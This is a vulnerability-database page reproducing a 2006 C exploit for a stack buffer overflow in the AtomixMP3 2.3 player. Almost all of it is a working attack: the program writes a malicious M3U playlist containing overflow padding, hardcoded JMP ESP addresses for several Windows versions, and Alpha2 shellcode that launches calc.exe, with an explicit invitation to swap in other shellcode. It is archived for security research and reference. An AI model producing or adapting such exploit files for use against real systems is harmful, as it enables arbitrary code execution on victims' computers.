Lucene search
K

AtomixMP3 <= 2.3 - (.M3U) Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

AtomixMP3 v2.3 M3U Buffer Overflow PoC allowing code executio

Code

                                                /*
========================================================================
0-day AtomixMP3 &#60;= v2.3 Malformed M3U Buffer Overflow PoC
========================================================================
AtomixMP3 Player/Mixer fails to properly handle large file paths inside
M3U files, the result is a stack based buffer overflow that allows an
attacker to execute code in the context of the player.
#EXTM3U
#EXTINF:0,TITLE
C:\ + [BUFFER x 520 bytes] + [JMP] + [SHELLCODE in ESP]

I tried finding a universal jump for this but due to restricted characters
all the jumps in XAudio.dll and the effects dll dont work.
Someone probably could find one if they tried hard ;)

Greets to everyone at EEye, Metasploit, Jerome Athias and Expanders :)


Happy Hunting and Happy Holidays to everyone

&#60;insert super awesome leet ascii art here&#62;

November 2006 - Month Of Greg&#39;s Media Player Exploits :)
(i&#39;ll probably continue it into December)

Discovered and Reported By: Greg Linares [email protected]
Reported Exploit Date: 11/30/2006

*/




#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
int main(int argc, char *argv[])
{

       FILE *Exploit;
       char buffer[525];

       /* Executes Calc.exe Alpha2 Shellcode Provided by Expanders &#60;expanders[at]gmail[dot]com&#62; */
       unsigned char scode[] =
       &#34;TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI&#34;
       &#34;YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM&#34;
       &#34;5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp&#34;
       &#34;LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip&#34;
       &#34;sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA&#34;;


       /* replace it with your own shellcode :) */


       int JMP, x;

       printf(&#34;\n======================================================================\n&#34;);
       printf(&#34;AtomixMP3 &#60;= v2.3 M3U Buffer Overflow Exploit\n&#34;);
       printf(&#34;Discovered and Coded By: Greg Linares &#60;GLinares.code[at]gmail[dot]com&#62;\n&#34;);
       printf(&#34;Usage: %s &#60;output M3U file&#62; &#60;JMP&#62;\n&#34;, argv[0]);
       printf(&#34;\n JMP Options\n&#34;);
       printf(&#34;1 = English Windows XP SP 2 User32.dll &#60;JMP ESP 0x77db41bc&#62;\n&#34;);
       printf(&#34;2 = English Windows XP SP 1 User32.dll &#60;JMP ESP 0x77d718fc&#62;\n&#34;);
       printf(&#34;3 = English Windows 2003 SP0 and SP1 User32.dll &#60;JMP ESP 0x77d74adc&#62;\n&#34;);
       printf(&#34;4 = English Windows 2000 SP 4 User32.dll  &#60;JMP ESP 0x77e3c256&#62;\n&#34;);
       printf(&#34;5 = French Windows XP Pro SP2  &#60;JMP ESP 0x77d8519f&#62; \n&#34;);
       printf(&#34;6 = German/Italian/Dutch/Polish Windows XP SP2  &#60;JMP ESP 0x77d873a0&#62; \n&#34;);
       printf(&#34;7 = Spainish Windows XP Pro SP2 &#60;JMP ESP 0x77d9932f&#62; \n&#34;);
       printf(&#34;8 = French/Italian/German/Polish/Dutch Windows 2000 Pro SP4 &#60;JMP ESP 0x77e04c29&#62;\n&#34;);
       printf(&#34;9 = French/Italian/Chineese Windows 2000 Server SP4 &#60;JMP ESP 0x77df4c29&#62;\n&#34;);
       printf(&#34;====================================================================\n\n\n&#34;);


       /* thanks metasploit and jerome for opcodes */

       if (argc &#60; 2) {
               printf(&#34;Invalid Number Of Arguments\n&#34;);
               return 1;
       }


       Exploit = fopen(argv[1],&#34;w&#34;);
   if ( !Exploit )
   {
       printf(&#34;\nCouldn&#39;t Open File!&#34;);
       return 1;
   }

       memset(buffer, 0, 520);



       fputs(&#34;#EXTM3U\r\n#EXTINF:0,&#34;, Exploit);
       fputs(&#34;0-day_AtomixMP3_M3U_Buffer_Overflow_Exploit_By_Greg_Linares\r\n&#34;, Exploit);
       fputs(&#34;C:\\&#34;, Exploit);

       for (x=0;x&#60;520;x++) {
               strcat(buffer, &#34;A&#34;);
       }

       fputs(buffer, Exploit);

       if (atoi(argv[2]) &#60;= 0) {
               JMP = 1;
       } else if (atoi(argv[2]) &#62; 4) {
               JMP = 1;
       } else {
               JMP = atoi(argv[2]);
       }
       switch(JMP) {
               case 1:
                       printf(&#34;Using English Windows XP SP2 JMP...\n&#34;);
                       fputs(&#34;\xbc\x41\xdb\x77&#34;, Exploit);
                       break;
               case 2:
                       printf(&#34;Using English Windows XP SP1 JMP...\n&#34;);
                       fputs(&#34;\xfc\x18\xd7\x77&#34;, Exploit);
                       break;
               case 3:
                       printf(&#34;Using English Windows 2003 SP0 & SP1 JMP...\n&#34;);
                       fputs(&#34;\xdc\x4a\xd7\x77&#34;, Exploit);
                       break;
               case 4:
                       printf(&#34;Using English Windows 2000 SP 4 JMP...\n&#34;);
                       fputs(&#34;\x56\xc2\xe3\x77&#34;, Exploit);
                       break;
               case 5:
                       printf(&#34;Using French Windows XP SP 2 JMP...\n&#34;);
                       fputs(&#34;\x9f\x51\xd8\x77&#34;, Exploit);
                       break;
               case 6:
                       printf(&#34;Using German/Italian/Dutch/Polish Windows XP SP 2 JMP...\n&#34;);
                       fputs(&#34;\xa0\x73\xd8\x77&#34;, Exploit);
                       break;
               case 7:
                       printf(&#34;Using Spainish Windows XP SP 2 JMP...\n&#34;);
                       fputs(&#34;\x2f\x93\xd9\x77&#34;, Exploit);
                       break;
               case 8:
                       printf(&#34;Using French/Italian/German/Polish/Dutch Windows 2000 Pro SP 4 JMP...\n&#34;);
                       fputs(&#34;\x29\x4c\xe0\x77&#34;, Exploit);
                       break;
               case 9:
                       printf(&#34;Using French/Italian/Chineese Windows 2000 Server SP 4 JMP...\n&#34;);
                       fputs(&#34;\x29\x4c\xdf\x77&#34;, Exploit);
                       break;

       }

       fputs(scode, Exploit);
       fputs(&#34;\r\n&#34;, Exploit);


       printf(&#34;Exploit Succeeded...\n Output File: %s\n\n&#34;, argv[1]);


       printf(&#34;Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n&#34;);
       printf(&#34;Greetz to: Everyone at EEye, Metasploit Crew, Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n&#34;);
       fclose(Exploit);
       return 0;
}

// milw0rm.com [2006-11-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation